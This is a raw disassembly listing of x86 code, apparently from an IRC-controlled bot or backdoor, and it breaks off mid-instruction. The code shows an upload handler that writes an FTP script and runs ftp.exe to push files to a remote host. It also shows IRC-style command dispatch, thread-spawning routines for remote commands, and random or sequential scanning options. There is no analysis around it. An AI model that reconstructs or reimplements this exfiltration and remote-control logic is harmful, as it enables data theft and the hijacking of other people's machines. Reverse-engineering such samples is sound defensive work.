XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset unk_42ABA8 loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 9 cdq pop ecx idiv ecx push edx call sub_41C2C2 push 63h cdq pop ecx idiv ecx push edx call sub_41C2C2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C266 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BEA2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F75 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C7E6 push [ebp+arg_24] call sub_41BA3B add esp, 20h lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi push esi jz short loc_407320 push offset unk_42AB38 jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset unk_42AB08 loc_407325: ; CODE XREF: sub_401ACD+5851j call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+var_2E5C] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi call sub_41C159 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41C159 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+arg_10] call sub_41C159 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+arg_24], offset dword_4317F8 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C360 push 78h push edi call sub_41C990 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CBA60 push eax lea eax, [ebp+var_484] push eax call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C820 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C360 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA38 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h call near ptr 2670E97h nop jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj nop call near ptr 2680972h push eax push offset unk_42AA00 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BFD0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40CA1D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h nop call near ptr 2670E97h jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j nop call near ptr 2680972h push eax push offset unk_42A974 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A968 push eax call sub_41C266 add esp, 0Ch cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA14 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BFD0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A910 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C92C push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h nop call near ptr 2670E97h jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j call near ptr 2680972h nop push eax push offset unk_42AA00 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi call sub_41C159 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BFD0 push [ebp+arg_0] call sub_41C159 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+var_88] mov [ebp+var_123C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410DAB push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h nop call near ptr 2670E97h jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej nop call near ptr 2680972h push eax push offset unk_42A890 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BFD0 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BFD0 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41C159 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi call sub_41C159 pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A864 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h nop call near ptr 2670E97h jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj call near ptr 2680972h nop push eax push offset unk_42A824 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset unk_42A7E8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset byte_41561D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h nop call near ptr 2670E97h jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j nop call near ptr 2680972h push eax push offset unk_42A7B0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset unk_42A780 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414358 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h nop call near ptr 2670E97h jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj nop call near ptr 2680972h push eax push offset unk_42A748 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BFD0 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset unk_42A718 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_4135DF push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h nop call near ptr 2670E97h jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j nop call near ptr 2680972h push eax push offset unk_42A6E0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BFD0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BFD0 add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h nop call near ptr 2670E97h jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj nop call near ptr 2680972h push eax push offset dword_42A674 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C360 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A648 push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset byte_413A29 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h nop call near ptr 2670E97h jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j nop call near ptr 2680972h push eax push offset unk_42A610 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5D8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi nop call near ptr 26A0BAAh test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B4 push 200h push eax call sub_41C360 add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5A8 call sub_418699 pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; sub_401ACD+4A16j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C360 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax lea eax, [ebp+var_3E04] push eax call sub_41C266 pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A578 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset dword_417054 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h nop call near ptr 2670E97h jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j nop call near ptr 2680972h push eax push offset unk_42A53C loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BF70 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41C159 add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2660B67h test eax, eax jnz short loc_40836E push offset unk_42A518 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A4FC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push [ebp+arg_18] push offset aSbrsfgf ; "sbrsfgf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h nop call near ptr 26A0000h push 0FFh lea eax, [ebp+var_25D4] push edi push eax call 